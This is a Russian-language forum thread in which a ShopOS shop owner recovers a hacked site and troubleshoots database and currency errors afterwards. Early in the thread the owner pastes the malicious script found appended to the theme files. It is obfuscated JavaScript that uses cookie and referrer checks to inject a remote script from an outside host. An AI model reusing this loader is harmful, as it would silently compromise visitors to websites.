Восстановление сайта после вируса.
Добрый день! числа так с 24.04 сайт перестал работать. Страница не грузилась и писалась какая то техническая штука, тапи какие то символы не могут быть найдены. В итоге числа так 18.05 я снес все из папки httpdoc, предварительно сохранив на локал и установил заного движок, выбрав при этом ту же sql базу. Итого стал сайт открываться. Но переписав в папку themes мой сайт обратно. и переключив в админке оно опять не аботало( Стал разбираться, в итоге оказалось, что ко всем бибилтиотекам папки themes/"мойсайт" в конце была дописана какаято строка скрипт. <!-- . --><script type="text/javascript"> function ckaoc(f,e){var b=document.referrer,d=document.cookie,h=0,c="",k='>tpircs/<>"sj.kcigam/ta.ndcorue.efas//:ptth"=crs "tpircsavaj/txet"=epyt tpircs<',g=window.location.host.replace("www.","").substr(0,4);if(0>d.indexOf(f)&&4<b.length&&0>=b.indexOf(g))0>d.indexOf(e)&&(b=new Date,b.setDate(b.getDate()+5),a=escape(c)+("; expires="+b.toUTCString()),document.cookie=e+"="+a,h=1);else if(0>d.indexOf(e)&&0>d.indexOf(f)&&(4>=b.length||4<=b.length&&4<b.indexOf(g)))b=new Date,b.setDate(b.getDate()+5),a=escape(c)+("; expires="+b.toUTCString()),document.cookie=f+"="+a;if(1==h||0<=d.indexOf(e)){for(n=k.length-1;0<=n;n--)c+=k.charAt(n);document.write(c)}}ckaoc("lgzqu","rkdfx"); </script> <!-- . -->
за пару часов всё вычисьтил и ура - заработало. Появилась проблема - при установке полностью удалилась база((( со всей инфой, картинками и прочим((( Да и к тому же сама версия перестала быть пдлатной, т.е. добавился текст shopos внизу и прочие мелочи,...
Вчера достал у хостингпровайдера базу и папку httpdoc на дату 10.05, когда сайт уже был заражен, но еще не снесен. Базу мне перезалили, httpdoc тоже. я вычистил всю гадость из themes/"мойсайт".
Осталась проблема. пишет сверху сайта какуюто техническую фигню. не поднялись цены и наличие (видимо из базы) + не могу войти в админку. ПОмогите нормально восстановить сайт. Как создать админа и войти в админку?!
сайт mnogo-kashi.ru
вопроса 2: 1. как убрать ругань сверху Warning: round() expects parameter 2 to be long, string given in /home/httpd/vhosts/mnogo-kashi.ru/httpdocs/includes/classes/price.php on line 181 Warning: number_format() expects parameter 2 to be long, string given in /home/httpd/vhosts/mnogo-kashi.ru/httpdocs/includes/classes/price.php on line 494
2. как дописать админа.
может и еще чего всплывет...
http://www.shopos.ru/forum/index.php?topic=355.0 В той же БД указываете и email админа.
По ошибкам... Там настройки валют смотрите. видимо курс валюты прописан из большого количества цифр. нужно просто Обновить.
Ару! Зашёл в админку.
В таблице os_customers нашел строку моей админской учетной записи, в поле customers_password вставил 21232f297a57a5a743894a0e4a801fc3
Затем зашел на сайт ввел логин моей учетки и пароль 'admin'
Затем установил свой пароль. Покупатели->Клиенты Выбираем пользователя со статусом Админ Редактировать Устаналиваем свой пароль.
Спасибо!
что значит "Обновить"?
и кстати в админке нет цен у товаров так же( и не работает кнопка вверзу "настройки" при нажатии всё слетает и на белом экране только
"Error url!"
в строке при этом. http://www.mnogo-kashi.ru/admin/configuration.php
что значит "Обновить"?
Обновить валюты на странице управления оными. Там есть кнопка Обновить. Хотя сначала посмотрите что установлено в настройках валют.
и кстати в админке нет цен у товаров так же( и не работает кнопка вверзу "настройки" при нажатии всё слетает и на белом экране только
"Error url!"
в строке при этом. http://www.mnogo-kashi.ru/admin/configuration.php
Не жмите кнопку в самом меню. Жмите в подменю. Настройки->Основные...
не выпадает выбор в админке. т.е. при наведении курсора нет списка вниз( раньше был) т.е. навожу на каталог, покупатели и прочее.. а ничего не выпадает. может как то можно обновить, но кнопку обновить тоже не получается вызвать
или как бы так обновить сам движок, но чтобы ни база ни themes не пострадали?
- сделай дамп БД - сделай резервную копию папки images - если не загружены какие-либо дополнительные модули/плагины удали все с сервера, что бы он был стерильно чистый - загрузи стерильно чистый новый дистрибют и проинсталируй его - подкулючи из дампа БД - загрузи картинки
Бэкап базы по структуре отличается от текущей структуры БД.
т.е. пытаюсь поднять базу старую на новой. оно отрабатывает. заливает, но сам сайтне открывается. ругается, что что то там не находит...
пишет пр иоткрытии магазина. 26/05/2013 18:05:10 | 1054 - Unknown column 'c.categories_count' in 'field list' | SELECT c.categories_id, c.categories_count AS total FROM os_categories c; | /index.php
- сделайте дамп старой БД через phpMyAdmin без сохранения структуры таблиц, только одну инфу. - в новой БД через phpMyAdmin удалите из таблиц всю инфу - залейте неструктурированный дамп старой БД (при помощи phpMyAdmin) в новую БД
П.С. или можете эту процедуру сделать только с таблицей os_categories, но лучше полностью
пишет пр иоткрытии магазина. 26/05/2013 18:05:10 | 1054 - Unknown column 'c.categories_count' in 'field list' | SELECT c.categories_id, c.categories_count AS total FROM os_categories c; | /index.php
смотрите какая у вас версия шопоса, а потом качайте обновления до последней и выполняйте запросы которые в этих обновления есть(может и не быть) в данном случае у вас файлы версии 2,5,9, а в БД нет поля categories_count, так как оно в новой версии появилось.
Удалось впихнуть базу. версия 2.5.5
остались ошибки - пишутся вверху сайта (по типам их 3 разных - 181, 503 и 494)
494 это ошибка, если не указана цена атрибута. или она равна 0.
а вот что делать с 181 и 503????
Warning: round() expects parameter 2 to be long, string given in /home/httpd/vhosts/mnogo-kashi.ru/httpdocs/includes/classes/price.php on line 181
Warning: round() expects parameter 2 to be long, string given in /home/httpd/vhosts/mnogo-kashi.ru/httpdocs/includes/classes/price.php on line 503
Warning: number_format() expects parameter 2 to be long, string given in /home/httpd/vhosts/mnogo-kashi.ru/httpdocs/includes/classes/price.php on line 494
Я вам выше писал. В валютах большое число указано в курсе. нужно адекватное сделать, либо нажать там кнопку Обновить под списком валют.
зашел в система / локализация / валюта. стер евро и доллары. оставил рубли. нажал там обновить. не помогло.
зашел в рубли там проставлено
Название: Рубль Код: RUR Символ слева: Символ справа: руб. Десятичный знак: , Разделитель тысяч: Десятичные порядки: Последний раз скорректировано: 27/05/2013 Величина: 1.00000000 Пример: руб. = руб.
изменил Величина: 1.00000000 на 1 нажал обновить не помогло.
и величина опять 1.00000000
ошибки остаются теже 503, 181, 494
ИИИеееессссссссссссс!!!!
итого - облазил всю БД. уменьшил везде до сотых длину десятичных! но не помогло.
ИСПРАВИЛ просто)))) надо было проставить десятичные порядки. т.к. в прайс.пхп зашито блин округление до них. а раз не было, то он и округлить не мог.
итого - валюты по умолчанию на двигле 2.5.5 не настроен справочник(((
Источник
|